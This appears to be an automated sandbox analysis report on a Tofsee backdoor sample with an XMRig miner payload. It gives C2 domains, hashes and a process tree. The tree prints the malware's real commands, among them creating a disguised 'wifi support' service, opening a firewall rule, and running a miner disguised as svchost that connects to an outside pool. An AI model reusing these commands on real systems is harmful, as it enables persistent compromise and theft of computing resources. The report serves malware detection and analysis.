Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2022, 17:30

General

  • Target
    file.exe
  • Size 194KB
  • Sample221115-v25wgsfa29
  • SHA256 5d5a6d5e23034fa46d87bbff22fb5829dd5c46ca8c0f75970be1cdcd9a4f44d5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lvgcjrsh\
      2⤵
        PID:2732
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qwjexerm.exe" C:\Windows\SysWOW64\lvgcjrsh\
        2⤵
          PID:1552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lvgcjrsh binPath= "C:\Windows\SysWOW64\lvgcjrsh\qwjexerm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lvgcjrsh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lvgcjrsh
          2⤵
          • Launches sc.exe
          PID:2836
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4856
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 660
          2⤵
          • Program crash
          PID:2124
      • C:\Windows\SysWOW64\lvgcjrsh\qwjexerm.exe
        C:\Windows\SysWOW64\lvgcjrsh\qwjexerm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1692
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3412
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 528
          2⤵
          • Program crash
          PID:3192
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5000 -ip 5000
        1⤵
          PID:1056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1692 -ip 1692
          1⤵
            PID:212

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                qwjexerm.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qwjexerm.exe
                • Size 13.1MB
                • SHA256 b982b87399f499310d165fa1affc07bfeed7103cba16b635ce2784ad9a22a732
                • MD5 SHA1 SHA512 SSDEEP

                qwjexerm.exe

                • Path C:\Windows\SysWOW64\lvgcjrsh\qwjexerm.exe
                • Size 13.1MB
                • SHA256 b982b87399f499310d165fa1affc07bfeed7103cba16b635ce2784ad9a22a732
                • MD5 SHA1 SHA512 SSDEEP

                memory/1692-150-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/1692-149-0x00000000007A3000-0x00000000007B4000-memory.dmp

                memory/3412-146-0x0000000000B50000-0x0000000000B65000-memory.dmp

                memory/3412-162-0x0000000002FE0000-0x0000000002FE5000-memory.dmp

                memory/3412-168-0x0000000002FF0000-0x0000000002FF7000-memory.dmp

                memory/3412-165-0x0000000007A40000-0x0000000007E4B000-memory.dmp

                memory/3412-159-0x0000000002C10000-0x0000000002C20000-memory.dmp

                memory/3412-156-0x0000000000FF0000-0x0000000000FF6000-memory.dmp

                memory/3412-153-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/3412-151-0x0000000000B50000-0x0000000000B65000-memory.dmp

                memory/3412-152-0x0000000000B50000-0x0000000000B65000-memory.dmp

                memory/4368-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/4368-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/5000-133-0x00000000022D0000-0x00000000022E3000-memory.dmp

                memory/5000-134-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/5000-132-0x0000000000849000-0x000000000085A000-memory.dmp

                memory/5000-144-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/5000-143-0x0000000000849000-0x000000000085A000-memory.dmp